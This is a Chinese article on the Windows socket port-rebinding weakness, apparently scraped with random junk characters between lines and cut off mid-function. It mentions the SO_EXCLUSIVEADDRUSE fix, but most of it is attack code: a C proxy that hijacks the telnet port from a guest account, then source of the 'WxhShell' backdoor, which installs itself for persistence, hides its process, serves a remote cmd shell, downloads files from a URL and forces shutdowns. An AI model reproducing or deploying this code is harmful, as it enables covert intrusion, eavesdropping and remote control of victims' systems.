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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kou7_4oS s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [[N${ C ,BGUIu6 saddr.sin_family = AF_INET; i tk/1 [^/a`Kda8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2_M+o]Z^ }o[<1+W(. bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q j9q 61gyx6v 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DYgB_Iak uT<<G)v) 这意味着什么?意味着可以进行如下的攻击: 9^Web~yi# MI:%Eq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C#)T$wl[E ~MYE8xrId 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j]R[;8g TVSCjI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ux= B*m1@{ a+~b3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 k:@N6K/$P^ alNn(0MG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _X=6M
gU zA3r&stN+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IQ-l%x[fue asmu< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 anfnqa8 #&L7FBJ"*v #include 4ZR2U3jd1 #include ,Sy&?t}` #include C6@*l~j #include =43NSY DWORD WINAPI ClientThread(LPVOID lpParam); L8NZU*" int main() FDGG$z?>m { n^5Q
f\ o WORD wVersionRequested; -F3~X R DWORD ret; 5gC>j( WSADATA wsaData; 0E
(G1o' BOOL val; &0%B3 SOCKADDR_IN saddr; ORWi+H| SOCKADDR_IN scaddr; ]A#:Uc5 int err; MOp "kA SOCKET s; W_3BL]^= SOCKET sc; M_r[wYt! int caddsize; a{rUk%x HANDLE mt; "sY}@Q7 DWORD tid; kDM?`(r wVersionRequested = MAKEWORD( 2, 2 ); l]&x~K} err = WSAStartup( wVersionRequested, &wsaData ); '^[+] if ( err != 0 ) { QF*cdc< printf("error!WSAStartup failed!\n"); e#3RT8u# return -1; Acd@BL* } h5-yhG saddr.sin_family = AF_INET; YmjA!n Eelv i5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @>J(1{m=Gy 3/]FT#l]i saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W@'*G*f saddr.sin_port = htons(23); b^ [ z' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mh SknyqT { 1~LfR printf("error!socket failed!\n"); v*<rNZI return -1; koD}o^U# } 0]=Bqyg val = TRUE; g)|vS>^~ //SO_REUSEADDR选项就是可以实现端口重绑定的 k"/Rjd(; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9e
vQQN6D| { )N1iGJO) printf("error!setsockopt failed!\n"); v'^}zO return -1; 5IFzbL#q#f } +/]*ChrS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }#g+~9UK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X-TGrdoX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +o"CMI R(cg`8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D. x8=|; { gNA!)}m\ ret=GetLastError(); unbIfl= printf("error!bind failed!\n"); p0]\QM l1 return -1; k#8`996P } Fr;
's(^ listen(s,2); suGd &eP| while(1) qK9A
/Mc { Fpeokr"i caddsize = sizeof(scaddr); #e,TS`"eD //接受连接请求 ZU+_nWnl sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t+]1D@h v if(sc!=INVALID_SOCKET) U|\ .)h= { >kmgYWG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Oe
:S1 f if(mt==NULL) r3-<~k- { `NEi/jB printf("Thread Creat Failed!\n"); lQvgq break; 4gNN " } U?5lqq } cs9h\]ZA CloseHandle(mt); =NI?Jk*iAq } "+wkruC closesocket(s); 1sonDBd0@; WSACleanup(); ED" fi$ return 0; TJZ~Rpq } i^ |G DWORD WINAPI ClientThread(LPVOID lpParam) "19#{yX4 { [{[m)Z^ SOCKET ss = (SOCKET)lpParam; Rt&5s)O' SOCKET sc; ?_A[E]/H unsigned char buf[4096]; v>Kh5H5e~ SOCKADDR_IN saddr; @o^$/AE? long num; BnGoB`n DWORD val; xa<KF DWORD ret; !J X7y%J //如果是隐藏端口应用的话,可以在此处加一些判断 lBs-u h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 H-v[ShE saddr.sin_family = AF_INET; Vwh;QJxb saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dJJq]^| saddr.sin_port = htons(23); {#4a}:3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u~Po5W/i { rwP)TJh" printf("error!socket failed!\n"); :9%e:- return -1; I}0? d } 3!fR'L/i val = 100; Fw{@RQf8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wCR! bZ w { ?<
teHFj ret = GetLastError(); fHEIys,{ return -1; i$@xb_ } K\XQE50 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h-;> v. { Qj_)^3`e ret = GetLastError(); &|ne!wu return -1; a3\~AO H% } jQ%1lQ#R) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a{^z= = { U:n~S printf("error!socket connect failed!\n"); Y9<[n)>+ closesocket(sc); lnyq%T[^ closesocket(ss); Sk!' 2y*@& return -1; f77W{T4 } 3ej237~F,L while(1) R8u8jG(4 { r0lI&25w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1t &_]q_ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^\Q,ACkZb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GQY"
+xa8] num = recv(ss,buf,4096,0); Oy=0Hsh@x if(num>0) _BJ:GDz> send(sc,buf,num,0); S|k@D2k= else if(num==0) mhhc}dS(H break; Tc||96%2^ num = recv(sc,buf,4096,0); w`f66*@Q1 if(num>0) _rIo
@v send(ss,buf,num,0); @YH>|{S& else if(num==0) [qRww]g;P| break; -p)`o b- } Zn
r4^i&( closesocket(ss); &`n:AR` closesocket(sc); wdBBx\FP return 0 ; !]g[u3O } ?zutU w/m V
)oXJL :6t73\O ========================================================== $A{$$8P PDA9.b<q0 下边附上一个代码,,WXhSHELL (n?f016*%d [9Rh" H;h ========================================================== 27c0wzq K\xM%O? #include "stdafx.h" FO^6c DGCvH)Q #include <stdio.h> SWI\;:k #include <string.h> %u&Vt"6m= #include <windows.h> 2(3Q#3V #include <winsock2.h> ,z#D[5 #include <winsvc.h> O^-QqCZE #include <urlmon.h> +,)k@OI E8sM`2z5 #pragma comment (lib, "Ws2_32.lib") ~Uv#) #pragma comment (lib, "urlmon.lib") ;ZI8vFb n5A|Zjk; #define MAX_USER 100 // 最大客户端连接数 R-Lpgi<a" #define BUF_SOCK 200 // sock buffer dZ(Z]`L,B #define KEY_BUFF 255 // 输入 buffer ETL7|C" {{P 3Z[ #define REBOOT 0 // 重启 zFO0l). #define SHUTDOWN 1 // 关机 YzZj=]\`b ]$s)6)kW #define DEF_PORT 5000 // 监听端口 DIQ30(MS >E4,zs@7t #define REG_LEN 16 // 注册表键长度 NkBvN\CQ #define SVC_LEN 80 // NT服务名长度 ZR3,dW6S m ne)c[Qn // 从dll定义API M61Nl)|mx& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }\8-&VoY#X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y_y!$jd(N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UIf#Gy|l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _7:Bxx4B dPpQCxf // wxhshell配置信息 2&:z[d}~H struct WSCFG { ]=-=D9ZS3 int ws_port; // 监听端口 dT 7fyn char ws_passstr[REG_LEN]; // 口令 wo(O+L/w int ws_autoins; // 安装标记, 1=yes 0=no L6nsVL& char ws_regname[REG_LEN]; // 注册表键名 {RI^zNgs[ char ws_svcname[REG_LEN]; // 服务名 lbovwj char ws_svcdisp[SVC_LEN]; // 服务显示名 $RI$VyAjD char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nes|4Z< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !WlL RkwO int ws_downexe; // 下载执行标记, 1=yes 0=no [vb#W!M&| char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" qrw*?6mSQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5X];?(VTsb b}Im>n! }; [Pp#r&4H [N4N7yF // default Wxhshell configuration Xqm?@JN struct WSCFG wscfg={DEF_PORT, z$m(@Q "xuhuanlingzhe", 4PS| 1, .e3@fq "Wxhshell", =(TMcu$4` "Wxhshell", p%bMfi*T "WxhShell Service", 9&^5!R8 "Wrsky Windows CmdShell Service", $;ny`^8 "Please Input Your Password: ", k??CXW 1, 4<1V " http://www.wrsky.com/wxhshell.exe", >{Mv+ "Wxhshell.exe" ea$. + }; Z&H_+u3j
}8"i~>>a // 消息定义模块 17l?li char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pg,JYn char *msg_ws_prompt="\n\r? for help\n\r#>"; .sj/Lw} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 3''Kg<k,I char *msg_ws_ext="\n\rExit."; j8?! J^TC char *msg_ws_end="\n\rQuit."; K9ih(fh) char *msg_ws_boot="\n\rReboot..."; dQp>z%L) char *msg_ws_poff="\n\rShutdown..."; vzSjfv char *msg_ws_down="\n\rSave to "; Bmt8yR2 YT[=o}jS char *msg_ws_err="\n\rErr!"; ft{i6} char *msg_ws_ok="\n\rOK!"; oTb42a_j{ _N|AI"sj. char ExeFile[MAX_PATH]; l>i:M#z& int nUser = 0; 8?<J,zu@AV HANDLE handles[MAX_USER]; zJ1M$U int OsIsNt; I}y6ke! W!9~bBF', SERVICE_STATUS serviceStatus; 8>vNa SERVICE_STATUS_HANDLE hServiceStatusHandle; {uZ|Oog(p 5\JV } // 函数声明 y[cc<wm$ int Install(void); "k"+qR`fH int Uninstall(void); /s(PFN8#Y int DownloadFile(char *sURL, SOCKET wsh); n2c(x\DA& int Boot(int flag); Ha ZV7 void HideProc(void); Eoo[H2=^H int GetOsVer(void); 1v3 int Wxhshell(SOCKET wsl); ?0z/i^I void TalkWithClient(void *cs); Ei<+{P(t0 int CmdShell(SOCKET sock); _m
a;b<I/< int StartFromService(void); Ae^4 int StartWxhshell(LPSTR lpCmdLine); =7: }/& P$ b5o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fyx Q{J VOID WINAPI NTServiceHandler( DWORD fdwControl ); NX;{L#lQ BjjuZN& // 数据结构和表定义 SZ4@GK SERVICE_TABLE_ENTRY DispatchTable[] = l%
%c U" { T2|<YJ= {wscfg.ws_svcname, NTServiceMain}, $'#}f? {NULL, NULL} :=q9ay }; @\-*aS_8> MScUrW!TA // 自我安装 v33[Rk' int Install(void) =:xJZy$ {
#^-'q`) char svExeFile[MAX_PATH]; \0qFOjVj HKEY key; &
}"I! strcpy(svExeFile,ExeFile); [5b[ztN% 3XbFg%8YG // 如果是win9x系统,修改注册表设为自启动 Fghan.F if(!OsIsNt) { !HXsxNe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iztF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %2G3+T8*x RegCloseKey(key); %md9ou` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % 1<@p%y/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NY[48H RegCloseKey(key); F[v^43-^_ return 0; ZiH4s| } bhZ5-wo4% } DAMw( } hSh^A5
/ else { `I|Y7GoUO cIuCuh0I` // 如果是NT以上系统,安装为系统服务 pFo,@M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dftX$TS if (schSCManager!=0) `\BBdQ#bH { 6p,}?6^ SC_HANDLE schService = CreateService Fk`6
q ( 0 R&7vn schSCManager, 3`"k1W wscfg.ws_svcname, ]<fZW"W<q wscfg.ws_svcdisp, }4Gn$'e SERVICE_ALL_ACCESS, R3BK\kf& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hH?ke(&=f SERVICE_AUTO_START, ) I.uqG SERVICE_ERROR_NORMAL, oJ=u
pnBn- svExeFile, diw5h};W NULL, PCKxo;bD NULL, fjQIuM NULL, % <%r NULL, ,fm{
krE NULL :3}K$ ); D@iS#+22 if (schService!=0) b0/[+OY { =D 5!Xq'| CloseServiceHandle(schService); CTX%~1_`O CloseServiceHandle(schSCManager); MY&?*pV) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +k strcat(svExeFile,wscfg.ws_svcname); 7H[.o~\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6SSrkj }U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # kmI#W"^ RegCloseKey(key); 6<n+p'+n return 0; ia-&? } fvDcE]_%H } wqXo]dX CloseServiceHandle(schSCManager); baf@"P9@\A } YE@!`!`d: } %U97{y _x7>d:C return 1; _ 1\H{x } /Dk`? LkXF~ // 自我卸载 Lb2/ Te* int Uninstall(void) *>j4tA{b@v { =Ajw(I[56 HKEY key; n]wZ7z M""X_~&I" if(!OsIsNt) { 79M`?xm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D_I_=0qNd RegDeleteValue(key,wscfg.ws_regname); ]G=^7O]`C! RegCloseKey(key); Fz_8m4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sJLJVSv8c RegDeleteValue(key,wscfg.ws_regname); m] IN-' RegCloseKey(key); xx%*85 < return 0; &) Iue<&2 } 5kj=Y]9\I } {E>(%vD } :UsNiR=l else { 8DlRD$_:& sVIw'W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \OF"hPq if (schSCManager!=0) &R}2/Mt { /vFdhh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]<E\J+5K if (schService!=0) k5GJrK+ { `"E<%$|ZQy if(DeleteService(schService)!=0) { xTdh/} CloseServiceHandle(schService); ZCkwK CloseServiceHandle(schSCManager); !iGZo2LV return 0; MqswYK-s } Y<`uq'V CloseServiceHandle(schService); y8O<_VOO}" } c<g{&YJ CloseServiceHandle(schSCManager); j}DG +M } p4wXsOQ} } 5A"OL6ty ~FZ=
return 1; '\Hh } U_Va'7 sZ7BBJX2K // 从指定url下载文件 v!?>90a int DownloadFile(char *sURL, SOCKET wsh) jQ?6I1o { >PiEu->P, HRESULT hr; Tk0Senq, char seps[]= "/"; H9T'{R*FC char *token; Z6r_T char *file; cH\.-5NQ char myURL[MAX_PATH]; L[ 7Aa"R char myFILE[MAX_PATH]; u+vUv~4A6 IqmoWn3 strcpy(myURL,sURL); 0N*~"j;r#M token=strtok(myURL,seps); Yf,U2A\ while(token!=NULL) Y+#VzIZw { _n_|skG file=token; .
[\S=K|/ token=strtok(NULL,seps); GbZqLZ0 } pWXoJ0N aUX.4#|% GetCurrentDirectory(MAX_PATH,myFILE); FOd)zU*L2 strcat(myFILE, "\\"); =P<7tsSuoK strcat(myFILE, file); &p#.m"Oon send(wsh,myFILE,strlen(myFILE),0); N[AX]gOJ send(wsh,"...",3,0); Q>emyij hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ibskce{H if(hr==S_OK) 8;]U:tv return 0; p_2-(n@ else 3)+}2 return 1; (y!<^Q ue{0X\[P< } r%~/y ?Dk&5d^d // 系统电源模块 u>o2lvy8 int Boot(int flag) Mk@%Wuxg2 { E"$AOM?(*i HANDLE hToken; 7LY4q/ TOKEN_PRIVILEGES tkp; jO#5ZhG 8yV?l7 if(OsIsNt) { ohe0}~)V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y-Gqx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); juQQ tkp.PrivilegeCount = 1; }_L,Xg:I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fm3B8Int AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ks@ if(flag==REBOOT) { 8n^v,s > if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w{;esU return 0; nv^nq]4'Dq } yb:Xjg7
else { {
'Db if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Sx-Ca7 return 0; ?oX.$E?( } J}cqBk> } I+]q;dF; else { Wp<4F6C$@ if(flag==REBOOT) { gIfl}Jat if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "eiZZSz return 0; %;|^*?!J0 } B&E qd else { ~ g \GC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gn_rf" return 0; {@c)!%2$ } xi2!__ } =)GhrWeVi4 m:,S1V_jl return 1; t
Tky } +84JvOkWi Hki // win9x进程隐藏模块 & A%*sD6 void HideProc(void) -~-BQ!!( { ah\yw A[@xTqs{{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ir%?J&C+t if ( hKernel != NULL ) tGcp48R-:+ { VnB"0"%w pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b]Xc5Dp{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,dM}B- FreeLibrary(hKernel); { ke}W } yJJNr]oq 6WEYg return; 7LM?<lp] } _S[@d^cY jF}u%T)HL // 获取操作系统版本 CnT]uU int GetOsVer(void) t`6R)' { V]V~q ]
OSVERSIONINFO winfo; a.r+>44M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~hSr06IY GetVersionEx(&winfo); ep-~;? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I'M,p<B return 1; G:HPd.ay else JlZU31Xws return 0; -c"nx$ } D)ZGTq`( [nO\Q3c|@$ // 客户端句柄模块 o+o'!) int Wxhshell(SOCKET wsl) A3VXh^y+ { kDAPT_Gid SOCKET wsh; c 5&
_'& struct sockaddr_in client; tp-PE? DWORD myID; ~9Nn8g6 gi|j! m while(nUser<MAX_USER) 06FBI?;|= { aB6F<"L, int nSize=sizeof(client); >8$]g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e^?0uVxS1 if(wsh==INVALID_SOCKET) return 1; x4&<Vr =@F1J7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?=X G#we if(handles[nUser]==0) XN@F6Gj closesocket(wsh); bi y1!r else $n30[P@p; nUser++; 3_:J`xX(4 } D\}A{I92F4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TmZ%
;TN {_GhS% return 0; a9h K8e } Sl,\<a 7$8YBcZ6 // 关闭 socket "Zo<$p3] void CloseIt(SOCKET wsh) h/7m.p] { ^h}xFiAV# closesocket(wsh); bG`aF*10)! nUser--; dWhki|c ExitThread(0); 9"5J-a' } ev}lb+pr)_ hx4X#_)v // 客户端请求句柄 8CR b6 void TalkWithClient(void *cs) &Ff#E?Y4| { 1$&(ei]*: yHY \4OHS SOCKET wsh=(SOCKET)cs; .DzFtc char pwd[SVC_LEN]; v##k,R.d char cmd[KEY_BUFF]; $IZ02ZM$ char chr[1]; PyOj{WX>W int i,j; n&? --9r _O76Aw-@l while (nUser < MAX_USER) { Sm@T/+uG: n-/{H4\ if(wscfg.ws_passstr) { cO]_5@#f'8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $e
bx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |yqL0x0\l //ZeroMemory(pwd,KEY_BUFF); jea{BhdUr i=0; ~C|. .Z while(i<SVC_LEN) { u@V|13p< )5NfOvmNB // 设置超时 EDMuQu/D8 fd_set FdRead; O#j&8hQ> struct timeval TimeOut; Pz+2(Z FD_ZERO(&FdRead); sop*?0 FD_SET(wsh,&FdRead); ?<YQ
%qaW7 TimeOut.tv_sec=8; z}'-gv\, TimeOut.tv_usec=0; {h<V^r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^lB=O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kj$Ks2!W ,4O|{Iu#n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fC$Rz#5? pwd =chr[0]; O;bnyB$ if(chr[0]==0xd || chr[0]==0xa) { _"b[UT}m pwd=0; Ka EL* break; k/6Qwb# } Bu[sSoA i++; }XJA#@ } M0+xl+c+ `x{*P.]N!< // 如果是非法用户,关闭 socket m?Tv8-1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~F gxhK2+ } )Z.v fc zEHX:-f8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (KHO'QNMt^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +v!%z( reBAxmt while(1) { Aoi) 11> }:04bIaV ZeroMemory(cmd,KEY_BUFF); sbeS9vE
|`N|S // 自动支持客户端 telnet标准 =tk O^ j=0; Mj9Mv<io while(j<KEY_BUFF) { ZGa;' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5]-q.A5m cmd[j]=chr[0]; Fv| )[>z0 if(chr[0]==0xa || chr[0]==0xd) { wFe?0u cmd[j]=0; !HV<2q() break; d[0R#2y= } xtWwz}^8] j++; -o+<m4he } 4qsP/`8 yi29+T7j4S // 下载文件 '<Fr}Cn if(strstr(cmd,"http://")) { tL>c@w#Pv send(wsh,msg_ws_down,strlen(msg_ws_down),0); Oq`CK f if(DownloadFile(cmd,wsh)) uK6'TJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); rpB0?h!$ else m }J@w~# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R^hlfKnt } fk6`DUBV else { M:PEY*4H 6rP?$mn2 switch(cmd[0]) { s"'ns 6E)emFkQ // 帮助 qh]D=i case '?': { -eQ>3x&3r send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \aY<| 7zK break; ~Y_5q)t( } ^b;3Jj // 安装 X21k7 Ls case 'i': { 3FglzJ if(Install()) Ue?mb$ykC. send(wsh,msg_ws_err,strlen(msg_ws_err),0); BzXTHFMSy else _ ;!$1lM[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
Q"Pl)Q\ break; )8JfBzR } Hz>_tA"^T // 卸载 >7$h case 'r': { L=_ if(Uninstall()) F*Y]^9] send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:.q1UV else hWz/PK, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <1pRAN0 break; SR$?pJh D% } cHAq[Ebp2! // 显示 wxhshell 所在路径 p[8H!=`K case 'p': { =j!nt8]8 char svExeFile[MAX_PATH]; :5#iVa#< strcpy(svExeFile,"\n\r"); "Q.KBX v/ strcat(svExeFile,ExeFile); ']:>Ww.S send(wsh,svExeFile,strlen(svExeFile),0); 0-~F%:x break; n_/;j$h } 0 /)OAw"m // 重启 }I"k=>Ycns case 'b': { #GfM!<q< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fp(-&,L0fc if(Boot(REBOOT)) 9TUB3x^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 68()2v4X else { ,R7RXpP7t closesocket(wsh); VfT@;B6ALF ExitThread(0); 6#;u6@+}yy } w gkY\Q break; u|sdQ } b\Mb6s // 关机 Z&6*8#wn case 'd': { dk_! ~Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IWT
-)+ if(Boot(SHUTDOWN)) q!as~{! send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,aU8.
J_U else { 4vMjVbr closesocket(wsh); J l
fIYf~ ExitThread(0); 4Jk[X>I~ } R,8460e7 break; %g7B*AX] } ,xg(F0q // 获取shell a\xf\$Ym case 's': { V?r(; x CmdShell(wsh); +-PFISa<r closesocket(wsh); Ih%LKFT ExitThread(0); |HQFqa< break; Os[50j!4> } /MbWS(RT // 退出 >8EmfjUoc case 'x': { '=(@3ggA: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I6Oc`S!L CloseIt(wsh); t|v_[Za}Z break; >_u5"&q } nq*D91Q // 离开 g)=-%n'RoE case 'q': { nzl3<Ar send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8M6Qn7{L closesocket(wsh); SV i{B* WSACleanup(); ngl8) B exit(1); _MzdbUb5, break; o(Q='kK } 10ZL-7D#m } wbbr8WiU } 'ExTnv ~ #QKgY7 // 提示信息 Z]k+dJ[- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $m0-IyXcv } j)lgF: } KZI-/H+ Wf9K+my return; b)+;@wa~ } c3|/8 J85Kgd1
\a // shell模块句柄 ziG]BZ int CmdShell(SOCKET sock) G/?j$T { o;J_"'kP STARTUPINFO si; SkMBdkS9z[ ZeroMemory(&si,sizeof(si)); T`r\yl} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B{-+1f4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '-KrneZ! PROCESS_INFORMATION ProcessInfo; nISfRXU; char cmdline[]="cmd"; : t6.J CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Iw;J7[hJ&$ return 0; GoRSLbCUR
} `yWWX.` = ms
o1 // 自身启动模式 D3kx&AR int StartFromService(void) XjV,wsZ= { U\`H0' typedef struct A]mXV4RmI { gj<Y+Dv> DWORD ExitStatus; Vv5#{+eT; DWORD PebBaseAddress; ]QK@zb}x DWORD AffinityMask; Jz'8|o;^ DWORD BasePriority; a>/jW-? ULONG UniqueProcessId; Q.`O;D}x ULONG InheritedFromUniqueProcessId; :Y>M//0 } PROCESS_BASIC_INFORMATION; E/N*n!sV 4.0JgX PROCNTQSIP NtQueryInformationProcess; Ex3V[v+D( hu''"/raM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d!]fou static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UkV{4*E {Tym# HANDLE hProcess; Kg MW PROCESS_BASIC_INFORMATION pbi; vTF_`X f;PvXq<7" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X1{U''$
